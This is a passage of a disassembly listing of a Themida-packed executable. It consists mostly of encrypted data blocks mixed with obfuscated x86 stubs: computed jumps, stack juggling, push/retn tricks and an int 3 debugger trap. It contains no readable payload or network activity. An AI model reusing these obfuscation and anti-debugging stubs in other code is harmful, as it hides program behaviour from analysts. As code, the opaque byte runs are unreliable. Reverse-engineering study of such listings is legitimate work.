0BBB0000h, 0DF8514C8h, 0A534A8h, 0DF8413C7h dd 0FDAF26A2h, 0E01C0ABEh, 0CB7FBE72h, 0E458994Ch, 0C276B155h dd 0E3578C33h, 0AD1514E8h, 496BD44Fh, 96D7E06Ch, 0B9EDEC66h dd 2FCEAB7Ch, 721933A8h, 67F4E1C0h, 5E994D44h, 3FF16882h dd 9D89BE65h, 7A01BD99h, 0B46FCD6h, 0D16C3BE7h, 629424E1h dd 0CFC774A9h, 0A14A0234h, 27DE4F5h, 9F4F0000h, 0B359E05Ch dd 9439C07Ch, 0B358DF5Bh, 9133C276h, 94F0D652h, 0C783C266h dd 0E05C9D50h, 0BE7AB559h, 0DF5B9037h, 0A91910ECh, 4D6BD44Fh dd 0BD5CC450h, 39324C1Eh, 31EF126Ch, 0D5782F79h, 66CCB794h dd 7C67F4A2h, 0D9CD0ABDh, 9E7A805Dh, 4BF7B2CCh, 0AB942426h dd 10346D14h, 26F74B3Eh, 130F9424h, 0A5214836h, 48942426h dd 80BF71E8h, 0BC39D86Bh, 3982CFF1h, 15DD1h, 79323B00h dd 92395044h, 7584E15Dh, 0EF6A9466h, 130F0338h, 116C4D36h dd 0BE9A67FCh, 973B83D2h, 0A9DA9423h, 3F1EEF0Ah, 31FE397Bh dd 4C000000h, 4C1EBD5Ch, 0C704A732h, 7CD8F9B2h, 0E23E67FCh dd 83DF672Eh, 853E9423h, 36C20BEEh, 3932397Bh, 0E8F0366Fh dd 0FA35D940h, 0B54F01D6h, 0BD000000h, 50447932h, 6AA95BDEh dd 169DBAB6h, 483F3372h, 0C9906A9Fh, 110DEA25h, 209CD17Ah dd 0CC01FF69h, 6297506Dh, 587A99E6h, 173A7E0h, 718B67A9h dd 65269C8Fh, 62BE9233h, 88B87385h, 689805A8h, 0C567F20Ch dd 16E8D286h, 201FAF13h, 6CEB4794h, 0AD897DB4h, 226103D0h dd 6CA27B5h, 0AC3DE94Ah, 13Fh, 0AA1E6111h, 8A3E752Bh, 0A11D560Bh dd 8438751Ah, 981453F5h, 802456B2h, 5B0E8D41h, 73179E1Ah dd 4EF58438h, 0D6AAA519h, 0D4496FD3h, 0A22A876Bh, 245D04D7h dd 9035F470h, 17B98257h, 0CBE094CFh, 3AED8CE0h, 41FDD9FDh dd 8D4111BAh, 2CBA6E52h, 235E04D7h, 6D68D46h, 0F5712560h dd 0AFCEFFD1h, 987DA82Ch, 79100EEBh, 0C4219DD2h, 0D5D4A635h dd 67FC0BECh, 7D3C0E0Ah, 0EED08CCBh, 877BB86Bh, 69D5CEABh dd 0BE943C0Eh, 53943505h, 2B9FC39Fh, 0CDB9F8ACh, 0A6DCh dd 0A9D73000h, 0CC7C4002h, 8C3C6F6Dh, 0DFB48923h, 0C716332Fh dd 0DAD1AB30h, 67F4CA7Ch, 0D1B8A698h, 9424CE71h, 50F29995h dd 7F9424CEh, 0DC10BB4Bh, 9C9888F0h, 16CDCCB8h, 35EE6DE1h dd 8C451400h, 67EA68E6h, 63A24615h, 596B3AFh, 0EB20C76Eh dd 0CEA44A11h, 0CF8DC19h, 0C8B5328h, 53721E53h, 27556AB0h dd 0CA2E0306h, 4B0AE627h, 0AFB35F94h, 43E8DF93h, 0C77B1A06h dd 0F291988Ch, 48FB6D53h, 0AADF88A9h, 0D88D4C2Eh, 31D4F39Fh dd 3CF7D4F0h, 0BD7C4E83h, 319FCC0Bh, 0E5CE266Ah, 0DCCDB98Eh dd 3, 326D5F30h, 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh dd 34533F7Eh, 26A55190h, 39504481h, 30A75B94h, 0CF554178h dd 815E5456h, 4C6h, 4EE8300h, 5C243487h, 1CE768h, 241C8900h dd 491C68h, 243C8900h, 18326C68h, 241C8B06h, 4C481h, 8B540000h dd 0C483243Ch, 4EC8304h, 8F241C89h, 3C8B0847h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_5534D8 ; --------------------------------------------------------------------------- db 3 db 25h ; --------------------------------------------------------------------------- loc_5CEB55: ; CODE XREF: Themida_:loc_5CE6B4j mov eax, 6183685h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 7B50h dd 4069636Fh, 16C21B8Fh, 1926483Ch, 7D961A38h, 754E54BFh dd 51325655h, 0D25D751Eh, 0E0D00622h, 80294C7Dh, 3E2A200Dh dd 6710AFBh, 1BF70A96h, 42FC7A61h, 0DF72421Dh, 551A46A1h dd 54266DAh, 54EB3879h, 0A1BB0973h, 0B53F243Bh, 79EF3FF8h dd 298F3221h, 0D45213F3h, 47A8414Ch, 162732D3h, 8D8D1B7Ah dd 61837ECh, 9A99D8Bh, 0B70F0610h, 0F58D89F3h, 0E9061009h dd 13h, 0C7707840h, 0C680FB67h, 0E4009226h, 6B0A9712h dd 0C7E45B7Dh, 10231985h, 618406h, 0D0816600h, 85C758D7h dd 61022C1h, 0 ; --------------------------------------------------------------------------- xor [ebp+6100F91h], ebx push dword ptr [ebp+61000CDh] jmp loc_5CEC22 ; --------------------------------------------------------------------------- db 7Fh, 0F7h, 0AAh dd 7788670Eh db 0ECh, 0D4h ; --------------------------------------------------------------------------- loc_5CEC22: ; CODE XREF: Themida_:005CEC14j sub [ebp+6101275h], edx call dword ptr [ebp+6102DB9h] push 0 push edi call sub_5CEC39 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CEC39 proc near ; CODE XREF: Themida_:005CEC31p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5CEC39 endp ; --------------------------------------------------------------------------- db 3Ah, 0Fh, 8Fh align 10h push 0 call dword ptr [ebp+61031C9h] mov eax, eax jmp short loc_5CEC9A ; --------------------------------------------------------------------------- dd 0B129F951h, 6D69C59Dh, 7746807Bh, 271B65EAh, 124FBEE6h dd 0CC5CB780h, 0CD110717h, 3E4F9AD8h, 24B89327h, 8A1F0C0h dd 0E87602Eh, 747CBA3Ah, 1B797235h, 800D1BDBh, 0A8A84D18h ; --------------------------------------------------------------------------- std pushf loc_5CEC9A: ; CODE XREF: Themida_:005CEC5Aj jmp loc_5CECB9 ; --------------------------------------------------------------------------- db 9Eh dd 524B1551h, 6C416C74h, 61636F6Ch, 65486574h, 7061h, 1400h db 0 ; --------------------------------------------------------------------------- loc_5CECB9: ; CODE XREF: Themida_:loc_5CEC9Aj jmp loc_5CFD35 ; --------------------------------------------------------------------------- push 6183A49h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6183B58h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6183DC6h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6183EECh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 618421Eh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61842B7h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61842F6h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61843CEh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 618444Bh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61844BBh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 618465Ah jmp loc_5534D8 ; --------------------------------------------------------------------------- push 618476Dh jmp loc_5534D8 ; --------------------------------------------------------------------------- dw 0C767h dd 9B51C884h, 0BC71E864h, 9B50C783h, 0B96BEA5Eh, 0BCC8BE7Ah dd 0DF5B9A4Eh, 0B874B558h, 0D6528D41h, 0B773A85Fh, 8141E8D4h dd 656BD444h, 4D7BC88h, 0F36F235Eh, 71A65DD6h, 285D0685h dd 6EA95D7Ch, 401E1082h, 0CC7CF949h, 2C411D6Dh, 9239F897h dd 3CFFE15Dh, 0D95D4988h, 5B70AD62h, 71ED2CE0h, 180C41EAh dd 1995CA81h, 9CAE2DCCh, 2352F7C2h, 0CC7CDA68h, 2DE3A6Dh dd 7C8141E8h, 9656DCCh, 111237F4h, 78F467FCh, 8027B28Ch dd 0C9752E4Bh, 2C942397h, 0A9DE8554h, 7650EFD4h, 150142E3h dd 6A433C11h, 4A397B3Eh, 36h, 1EBD5CC0h, 7C745D4Ch, 969267FCh dd 194EF5C4h, 32F4096Dh, 3C7CDB63h, 0E2B46C94h, 21D5F12Ch dd 0D8CC01AAh, 309C33CEh, 50952C47h, 397B357Dh, 0E35Dh dd 4D7AF00h, 8C47245Dh, 78F29ED3h, 0B0CA0CC1h, 9FB6AFEFh dd 5AD6CAA6h, 0D312B67Dh, 0CAFFA81Fh, 0D308BFD6h, 0B135B057h dd 5D066DCCh, 7E25B428h, 0FEA43749h, 0BF8A6C3h, 73AE54ECh dd 0ADBFA37Fh, 44FEADD3h, 0A06DCCD7h, 43FFAAC4h, 0A36DCCD7h dd 0E8F9B2C7h, 0E67FCA1h, 0E0D56D1Ch, 3531943Ch, 0B1489D11h dd 301B502Ah, 0FB4742B0h, 1B943C65h, 21241A3Fh, 27391F3Ch dd 0DEF05239h, 1814943Ch, 16EB4843h, 2F2B9E0Ah, 0ABEA9E1Dh dd 0C504A82Fh, 37459318h, 3AAB7B40h, 0DE0h, 520649E9h dd 72E61DC3h, 49053EE3h, 6CE01DD2h, 40FC3BEDh, 18CC3E4Ah dd 33D665D9h, 0BBF36F2h, 26DD5CD0h, 6E523DF1h, 0D44607BBh dd 3A02DF6Bh, 62497E32h, 6DCC7CE0h, 324C2804h, 0DBC704A7h dd 3DBC8257h, 4FDD5186h, 4C1EBD5Ch, 0C803A732h, 7CDBF8B3h dd 0D63B67FCh, 0CC9910C2h, 0A2BC98ECh, 41357617h, 241608E5h dd 98B5F295h, 236953EBh, 0A0BEB294h, 236959E9h, 8A58BD94h dd 0EA3FCDB3h, 93284521h, 2B8F9FCh, 0C898397Ch, 0F2000000h dd 2A447932h, 0A5C2F9AFh, 0EF2EE2F9h, 6CA95EDDh, 0DF9FBCB8h dd 0CC012DB8h, 1045FE6Dh, 96661D9Ch, 7BC7C2EDh, 9B923387h dd 73EFA3BFh, 0C74EA34Fh, 524F3A14h, 749803F1h, 0D8DF44F8h dd 6489C068h, 0C908334Bh, 0A1BB9725h, 15E058EAh, 8E60BC9Eh dd 0DA19CBh, 805D9239h, 0A4E7E4B6h, 235DBB00h, 0CC8DD603h dd 0BA46AAC6h, 2A72169Dh, 0B276C4E5h, 298EB2E0h, 403693AEh dd 0D1019282h, 0DA00000Ch, 0C239F538h, 0E057D30Ah, 0BD3CF029h dd 8A11CD0Ah, 3533A7E6h, 0AAE99BC9h, 0C506A72Eh, 0A1DC9209h dd 0C0F5AE2Dh, 6C1F210Ch, 6BD447D6h, 32EBB12Eh, 532D3F7Eh dd 0CC7CEA58h, 970E0A6Dh, 66CAB6F5h, 954ECD91h, 0D75EEC60h dd 7C4002A9h, 29DD6DCCh, 6E1E02EEh, 0A55ED5F2h, 0A66D5E70h dd 2F6C1F83h, 0DD98830Ah, 0E087FE00h, 0CE782FABh, 5F6DCC6Eh dd 47416AA8h, 814DD212h, 65A6CBB5h, 0F7DBF70Ah, 73B256E5h dd 44FEAD7Fh, 0A06DCC3Fh, 13CBA0C4h, 0FAA6DB84h, 0DC13B980h dd 0C1FEB128h, 587551D5h, 37E624DBh, 16D320FBh, 8CC1B591h dd 4D7E58F7h, 0EF7BBBE0h, 0DB587593h, 803BEF24h, 336A502Dh dd 0AE0Dh, 5E4D3300h, 6DCCA6E4h, 0CA358DCBh, 0EAA256BAh dd 5CD3596Eh, 5D4C1EBDh, 67FC0264h, 0ABFAA682h, 94238613h dd 0A822C1F2h, 4E427D31h, 0AF02F5D2h, 8F397B2Fh, 77h, 2A9D7FDh dd 6DCC7C40h, 0F8B3C8A4h, 6DCC7C4Fh, 0DEF0EB0Ah, 7CB90900h dd 0F85D6DCCh, 0C9C2D49Dh, 9AAF932Dh, 4202C3C6h, 60BC67FCh dd 1FD912ECh, 2806405Dh, 3AE625C7h, 763D1A36h, 12DF93D2h dd 306D803h, 9E0C3E16h, 0DD16CB8Eh, 0AA1EFA00h, 4346772Bh dd 9E2C52FFh, 4B371B17h, 627C5F76h, 48B14F7Ch, 217B3FA6h dd 0F0BA5F4Ch, 0D04C941Ch, 89FEB5Ch, 5C610000h, 324C1EBDh dd 32452139h, 1E3B3521h, 0FC438465h, 0FAA68267h, 3C4713ABh dd 22C1F294h, 3F8031A8h, 0EE9C752Ah, 0DF0C397Ah, 0A1D60581h dd 0E1D1BA2Bh, 44475E8Bh, 148C4419h, 0B2000000h, 5D498227h dd 22804D9h, 6DCC7C44h, 0FBE0C374h, 5C39FFFFh, 69F415BDh dd 0A0892D5Fh, 0ACC8ACEDh, 0C4D2D7D2h, 78F467FCh, 31917866h dd 0D5943CC4h, 0D3828459h, 943CC46Bh, 9F5AF98Ah, 397A724Eh dd 5002Eh, 0C7159C00h, 36489322h, 0FC20EE73h, 0AE53E667h dd 0CBA58175h, 23A062E0h, 0D1A68294h, 29D255D1h, 42E6F1BEh dd 0ADBF1CBBh, 0D6B205FEh, 6B85E137h, 2B292C82h, 0D8F5406Fh dd 0A13AD926h, 0DCCFB1CFh, 27D62E66h, 4FF3A27Eh, 0E027D62Eh dd 1E02EE2Bh, 3D5F26Eh, 0E1D32008h, 6A84E02Dh, 3BF6A94h dd 0E329CAB1h, 42E97287h, 21CA510Dh, 62667FECh, 6E26F7ECh dd 0A6365h, 77BA6C00h, 558C34C3h, 72AB62D9h, 4F8C3FB6h dd 69A85CDBh, 598BF7F5h, 35C478B7h, 60D75394h, 3CBB6FAAh dd 0EFDA4E83h, 41A41E0Dh, 63406BD4h, 447932D9h, 87546350h dd 17D08B75h, 15322EE2h, 0FC11356Eh, 7B55D167h, 5BCF0AC0h dd 11EB26DCh, 7AB7DDDCh, 502DD733h, 65BB074Eh, 0DA649423h dd 95942315h, 5D835D7Eh, 237514AEh, 5774F094h, 28DC5F81h dd 24393DE9h, 1324DA67h, 0EA9F1A9Eh, 0A472D0BBh, 96929E12h dd 81DD9DBAh, 0A478C695h, 16CD9E12h, 0F29635E1h, 0A758BFB3h dd 0A0D3C408h, 0F09BC501h, 9E12A452h, 0FFF34EBh, 1266410Ah dd 431F6245h, 5BA07126h, 2C803F8Ch, 0CA000000h, 4C1EBD5Ch dd 48FA1E1Fh, 0CC6FE161h, 4429056Dh, 0B794B3D0h, 46FCBFA1h dd 5B964C0Bh, 0F764857Eh, 462267FCh, 2E495Ah, 5CC30000h dd 5D4C1EBDh, 67FC1B34h, 498629B0h, 0FE04D95Dh, 35364822h dd 8F79B8DEh, 9032D956h, 0AD942315h, 6CC8BCFBh, 2E691DB4h dd 43493512h, 97447932h, 0B3EAAF74h, 3D9B0C18h, 46000009h dd 6EED61A4h, 4CCB7FB6h, 59E05C95h, 36C579B6h, 0F1D75392h dd 86C56795h, 61A243D2h, 7DB86EEDh, 5C913AC1h, 1813EDE0h dd 6BD442AAh, 5CC74D4Ah, 5D4C1EBDh, 67FC2BE0h, 2A3419FEh dd 0E8C87327h, 3F76E7E1h, 864521DBh, 74F0A4E1h, 7E25A450h dd 675FF440h, 0A9CDE98Fh, 0D9904B35h, 0E7E0CBA0h, 0DDFF6C3Bh dd 5A1605F0h, 0E3F8E870h, 0E8647782h, 8D5F7C9Bh, 0CC938760h dd 1DD20AF7h, 4AD704E0h, 0B03911E0h, 77324623h, 0B55F291Ah dd 6DAE5FDAh, 0E28E8A90h, 0F4063DE3h, 63984F0Ah, 5F6E0EB4h dd 0CB8AE6A1h, 492DD91Ah, 0BE55AA34h, 503C0314h, 99BD839Fh dd 0DA7FC4C7h, 9B97AB6Fh, 0BA06C0E7h, 0CEE5AB4Fh, 645FB237h dd 0B1CF6CE7h, 4FC248FAh, 9BB0ACABh, 15435h, 0BD5C9700h dd 0E05D4C1Eh, 0FE67FC2Bh, 0ADC57D2Ch, 45219423h, 0AD567521h dd 2CD36678h, 825CE2F7h, 698BF649h, 6C81A3E7h, 0F0338EFh dd 6C827F48h, 740BB4FFh, 0E0CBF6ADh, 0BF680662h, 0ECAA682h dd 0F7ABE087h, 274C97B0h, 0BBB5D4h, 25E1247h, 76BF56E5h dd 0B4CFDCDh, 4A411B17h, 0C69543F8h, 4A24401Ch, 0FFAADB8Fh dd 0C6954343h, 0F7ABC7A3h, 61D85E7Bh, 368C7FAAh, 0CEC69543h dd 0A8826E52h, 5D4C7D31h, 0C69543E5h, 55412501h, 77B65AD1h dd 33D2A78Bh, 94C62BA7h, 30F62C95h, 95243A14h, 0BC58AAF4h dd 75B5E707h, 0AC1A551h, 0FC782C61h, 65FE24DFh, 0E574C695h dd 984F0641h, 98948663h, 0A338BF24h, 1F5E12C9h, 6DAEF73h dd 0A51DE203h, 0FCA9CCCh, 0CE742358h, 26C8856Dh, 8554264Ah dd 4AF8B3DEh, 0AAC8856Dh, 82DE92AEh, 6922B965h, 4A017834h dd 0BC98D57Ah, 6D49A1C8h, 4D23C885h, 1E9DD88Eh, 6C4F2C69h dd 5E934CD5h, 0A64910EAh, 0A4B9BD69h, 0F125A5E7h, 9E3DC054h dd 24F4AB2Ah, 0D65A467Bh, 135F06FAh, 0D0D7737Ah, 1AD150EFh dd 39F269E5h, 14A31004h, 4E68DAD1h, 908CC761h, 2AEF9AB4h dd 0DCCD5116h, 67F2CC80h, 0F87186C5h, 3Ch, 1EBD5C44h, 8BC5D4Ch dd 0CE4A67FCh, 0C6FDA322h, 86471512h, 0B5C714A8h, 239254F6h dd 9AB4B094h, 0F22CD3B1h, 0F13FF3Eh, 57B80D2Ah, 0BFA17F82h dd 23AE76CCh, 52F78E94h, 84203D19h, 2A97932h, 795DD9CDh dd 0F22FD467h, 914522FEh, 2436A534h, 0FC192465h, 7486E267h dd 0E01BCF8Ah, 0B4F39534h, 4A00BB90h, 661C9B0Fh, 0F39FDA90h dd 529F536Fh, 434618C3h, 9E13F21Eh, 0A1C8BCB8h, 9E13C225h dd 34469524h, 2393CC75h, 422E2A94h, 3F1AB13h, 9A394A80h dd 9BA88E5Fh, 853BFE45h, 0A9BEA24Eh, 3047h, 0BD5C8500h dd 0D68D4C1Eh, 5C71F5A1h, 8648584h, 0AB2267FCh, 6BC7BBF8h dd 28172F7Eh, 472B0C3Dh, 2C4A5Bh, 88760000h, 234221A1h dd 9469C594h, 1EBD5CB8h, 1B345D4Ch, 0BBD267FCh, 0FAB1CB08h dd 94239D48h, 0BA94B0ACh, 588C0791h, 14E9ED7Bh, 79326412h dd 0AF7A9744h, 212B3EAh, 60B91h, 2F721400h, 0D44FC7Bh dd 0EA23CA51h, 744E76Eh, 0E120C453h, 0D1037F6Dh, 0ED6CE01Fh dd 0B83FFB3Ch, 0D463D712h, 4742F62Bh, 3E0CB675h, 0BE86BD4h dd 4596D741h, 0BF7F0E69h, 95320CE1h, 84568594h, 0FC311C85h dd 0E35EBA67h, 68BBCE34h, 10B5845Ah, 546302D7h, 5269097Eh dd 0CB80C841h, 0BC8EB28Eh, 397217A2h, 5C994E4Dh, 0D3A8CCA8h dd 55CA87D8h, 4F431F50h, 76885362h, 65F37DB3h, 47191556h dd 0B1ECA219h, 0CF8C61C5h, 0F067E318h, 22550237h, 6E986325h dd 5722DB6h, 0CB7B0000h, 9F45D488h, 0C065F468h, 9F44D387h dd 0BD6FE662h, 0A0DCCA7Eh, 8B3F7E32h, 0A418590Ch, 82367115h dd 0A3174CF3h, 6DD5D4A8h, 896BD43Eh, 7932A02Ch, 0AF569744h dd 0EEA6B3EAh, 533E5h, 478A3C00h, 255C0493h, 427B32A9h dd 1F5C0F86h, 39782CABh, 97B8785h, 25B42867h, 10874384h dd 2CAB1F5Ah, 9F8A3E73h, 3E54EE9Dh, 33B06BD4h, 44793269h dd 0EC546350h, 0E12FE33h, 8D711832h, 7967F434h, 5571AC62h dd 0D36D8CD9h, 260AF62Dh, 0D479304Ah, 329E1BD6h, 0A31B4A36h dd 429E1BDAh, 96579231h, 63F9383h, 81568D33h, 9ECFh, 1C0FF100h dd 9E1BE2A6h, 3F05E23Eh, 0A138B915h, 0F869203Ah, 1E67FC20h dd 28432842h, 0DFCF3747h, 38DF708Dh, 0A7283DE0h, 0EB28DB5Eh dd 0FC464537h, 1847245Dh, 0C223381Ch, 0A8D6A833h, 4E427D31h dd 0F50EF5D2h, 914D1438h, 514E195h, 270504D6h, 0DF432385h dd 39F26983h, 1AD14804h, 0D03D78E5h, 8591AD2Eh, 45B14h dd 7FC26400h, 5D944CCBh, 7AB35AE1h, 579437BEh, 71B054E3h dd 41B3CFBDh, 5DDC508Fh, 68EF6BACh, 44D387C2h, 0F7F2669Bh dd 3FBC0605h, 5B586BD4h, 7840D1h, 5C8C0000h, 5D4C1EBDh dd 67F434A9h, 0FA484335h, 1A942BB4h, 9148223Eh, 2B620ADAh dd 63D7FB77h, 0AF62BD4h, 0A3BD1EB5h, 1BC3D7E8h, 3F332F9Eh dd 66786372h, 2BB19EA3h, 0AA617894h, 0B7EC5175h, 0FF5E2D05h dd 3DEBE27h, 47E70000h, 1BD14804h, 3CF168E4h, 1BD04703h dd 39EB6ADEh, 3C483EFAh, 5FDB1ACEh, 38F435D8h, 56D20DC1h dd 37F328DFh, 1C16854h, 0E56BD438h, 40023C08h, 826DCC7Ch dd 2BD714B7h, 0CD793247h, 76DCC7Ch, 78558C34h, 0F30DCEE5h dd 9594BF68h, 6DCC7C2Dh, 9D896DC9h, 0ED9CC499h, 67F43409h dd 0E8D79F5h, 6CBB2055h, 0A04A0D67h, 36EE3F4h, 0D7770000h dd 0EBA11894h, 0CC81F8B4h, 0EBA01793h, 0C97BFAAEh, 0ACD8CE8Ah dd 8F4B8A3Eh, 0A8246508h, 86427D31h, 0A723580Fh, 71D1B8C4h dd 956BD438h, 79328C18h, 7CE75B4Eh, 0AACA6DCCh, 711A911h dd 60D7534Bh, 0A05470A9h, 6A21C453h, 6DCCFCD8h, 0EA04E03Ch dd 8E82B96Fh, 0BDA3B592h, 390E47FEh, 0FC8D5552h, 2FEC7167h dd 0F64C3F09h, 0E943C1Eh, 2B2B2512h, 94B0EDA2h, 1C386F15h dd 5CEDE9A0h, 0AE620225h, 883CBB6Fh, 58E35D49h, 0A56476B3h dd 0E23B5B1Dh, 0FD607DF9h, 669F46FAh, 7943ADBAh, 5F1F091Ch dd 11EB5F83h, 0C3EB98DCh, 0CA9FD4C9h, 5E04D702h, 0D68D4623h dd 539ECFA1h, 24510C2Fh, 45444217h, 90F5699Eh, 2D494989h dd 0AA6DB20Ah, 0FCAB4C6h, 0F175215Ah, 800A2FDCh, 20FC67FCh dd 7992574h, 477C943Ch, 0AE844DA8h, 3964397Ah, 0A6000000h dd 4C1EBD5Ch, 0C902A732h, 7CDAF7B4h, 441A67FCh, 2383FD45h dd 0D7E9E494h, 0E9A87776h, 0CB7E3D39h, 0B1AD6D8Ah, 0AF2896C5h dd 0B8CB9423h, 6311DC19h, 0AFF1397Bh, 5B000000h, 3A97932h dd 20570DCCh, 97395044h, 762DAC58h, 8D365541h, 0FB38658h dd 35E626CBh, 4E72C1EEh, 9B06C579h, 6C6DCC1Ch, 0ED6C7EB3h dd 10140037h, 4BF4833Bh, 7E956A16h, 4388835Dh, 367FC17h dd 0C74EB327h, 7B4F3A14h, 8B9E0AB0h, 4AFEBD8Fh, 0DE0FF10Bh dd 0F40A9251h, 5BD6C4Eh, 1A9E1114h, 0EC483875h, 1CD0470Fh dd 0C7C770DDh, 0AF674037h, 1CF26h, 0F336D800h, 0D108C037h dd 0EE27DE5Dh, 0CB08BB3Ah, 0A5E4880Fh, 95C74329h, 81F8B4F3h dd 9C1B8FD0h, 0A82FABE6h, 1B0ECAFFh, 3AD86A21h, 5F3C6BD4h dd 3F7E32D5h, 1E530C8Bh, 0BD5C1CAAh, 745D4C1Eh, 7067FC7Ch dd 160A45E9h, 0E13D3D1Ah, 7CD86635h, 453B943Ch, 7CD2701Bh dd 3632943Ch, 0E7E38221h, 397522E6h, 0FBD07794h, 7A6DA904h dd 0DB8939h, 0D7030000h, 0E68A5C04h, 5B77FBA7h, 0D90EB57Eh dd 0DF88532Dh, 5D7AF6AAh, 0FFF332D6h, 0CC01CD58h, 30651E6Dh dd 7517A27Ch, 11E64A36h, 1FD1A14Ah, 0BC689F45h, 8CE89CB8h dd 34E017CDh, 113A1430h, 46F81B67h, 5945223Bh, 0BC8E4D6Ch dd 0F342A9A2h, 0A930BD15h, 33384002h, 0ACC8A492h, 386BD7D2h dd 8F8B9233h, 4B08D1BAh, 1D9C9803h, 661C3166h, 926C4E0Ah dd 234D2B97h, 7A4FCB94h, 3D0FCCEBh, 15809D4Eh, 1DC6079Eh dd 943F361Eh, 0DA564C21h, 58973900h, 74B355E4h, 366974C7h dd 7B6C3840h, 0BCh, 66E225C5h, 460239EFh, 6DE11ACFh, 40FC39EEh dd 64D817B9h, 44E81A66h, 1FD24905h, 37EB6ADEh, 12B940FCh dd 926E61DDh, 0D43B2B97h, 46CECB6Bh, 8B3F7E32h, 0AA1E530Ch dd 6104D71Ch, 0EFA3E485h, 24A34F73h, 0D0544081h, 0A35CD7F4h dd 45F81A65h, 6E52FA0Eh, 14B7825Ch, 60472BD7h, 6DCC3EE2h dd 55542602h, 6DCC3EEDh, 4E502D09h, 0DF5B9037h, 96687382h dd 0F4765F93h, 877BF767h, 0A6225710h, 4F43782Fh, 291E2B08h dd 18B70821h, 813D7219h, 681C51FAh, 43E6BE71h, 0A032DE02h dd 0E1587211h, 5FDCF12Eh, 0E5B773A8h, 42AE1DE8h, 0DFFC1864h dd 8A76AB54h, 319h, 6D5F7300h, 493D8032h, 0B0649952h, 463A7519h dd 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h dd 55417830h db 0CFh ; --------------------------------------------------------------------------- loc_5CFCB9: ; DATA XREF: Themida_:0054CFA0o ; Themida_:0054E4C0o push edi mov edi, esp add edi, 4 push esi mov esi, 4 sub edi, esi pop esi xchg edi, [esp] pop esp push 5902h mov [esp], esi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp mov esi, 16B05BD4h push edx mov edx, 10A8631Fh xor esi, edx pop edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp sub esp, 4 mov [esp], esi pop dword ptr [ebp+8] mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_5534D8 ; --------------------------------------------------------------------------- inc eax loc_5CFD35: ; CODE XREF: Themida_:loc_5CECB9j mov eax, 618484Eh add eax, ebp jmp eax ; --------------------------------------------------------------------------- sbb ecx, [edi] sbb eax, 0B941EB0Bh xor [edx+48h], dl jl short loc_5CFDBA int 3 ; Trap to Debugger and eax, [ebp+2D302D1Fh] cmp eax, 1CF58727h sbb [esi+4Bh], dl jno short loc_5CFDA5 retf ; --------------------------------------------------------------------------- dd 598E72EDh, 16356B22h, 0EC543766h, 2C99293Ch, 0D691F89h dd 5D8954F9h, 8D8D469Ch, 61849F0h, 0FE9h, 33E96100h, 0B62A7C50h dd 0AC77C816h, 4FC51EDh, 2951958Bh, 8D890610h, 61009F5h dd 0E856006Ah, 3 db 20h ; --------------------------------------------------------------------------- loc_5CFDA5: ; CODE XREF: Themida_:005CFD59j pop esi retn ; --------------------------------------------------------------------------- pop esi mov [esp+4], esi add dword ptr [esp+4], 1Ch inc esi push esi retn ; --------------------------------------------------------------------------- xchg eax, edi push 36h loc_5CFDBA: ; CODE XREF: Themida_:005CFD48j pop es mov byte ptr [ebx-7495883Ah], 95h popa adc eax, 85C70610h sbb [ebx], esp adc [esi], al nop push 0C7F80000h test eax, ecx and dl, [eax] push es ; --------------------------------------------------------------------------- db 0 dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0E9DFC350h, 5, 0A1B2FCB7h, 0EDB5FFBAh dd 0E8061011h, 8 dword_5CFE0C dd 0BD80585Ch, 92E1F3CBh, 0EE9h, 74422D00h, 0FA330B23h ; DATA XREF: Themida_:0054B638o ; Themida_:0054C28Co ... dd 0ACF63B33h, 5B1ABFE2h, 2DB995FFh, 6A0610h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 59BA19C3h dd 2872CA8Eh, 0F28B66F5h, 95FF006Ah, 61031C9h, 68EBC08Bh dd 405D2238h, 126661E1h, 0DC919211h, 0A5B69B70h, 0C5B3F6B8h dd 808E6F2Fh, 0BE851BD3h, 37E4836Ch, 0DEFF5EC3h, 6D770F51h dd 7D7AE2C9h, 882BAE14h, 0D343015Bh, 66E0DE2Ch, 0AE388E3h dd 6B2CAE4Fh, 0C9C9A2AFh, 5711D1A6h, 810AB51Ah, 32E9CEAEh dd 0BE2B047Eh, 0E165B8BAh, 10584Ch, 0CBFE05F2h, 7CE6D53Ah dd 0E714D4E0h, 4BA48D8Dh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0E85219C3h, 0Fh, 5E1AE6CBh dd 3A252230h, 0F5CAA36Fh, 89BDB822h, 1032898Dh, 0B5095806h dd 6101D7Dh, 9F58D89h, 6A0610h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0E96057C3h, 8, 4BE7008Bh dd 0EB9E7E6Ch, 0DBF48061h, 231985C7h, 62600610h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0AB548FC3h, 5A1F77Ch, 0FE9ABh, 11320000h, 60CA64B2h dd 7FDD7883h, 0BA2F6A76h, 0C185C71Fh, 61022h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 2965C356h, 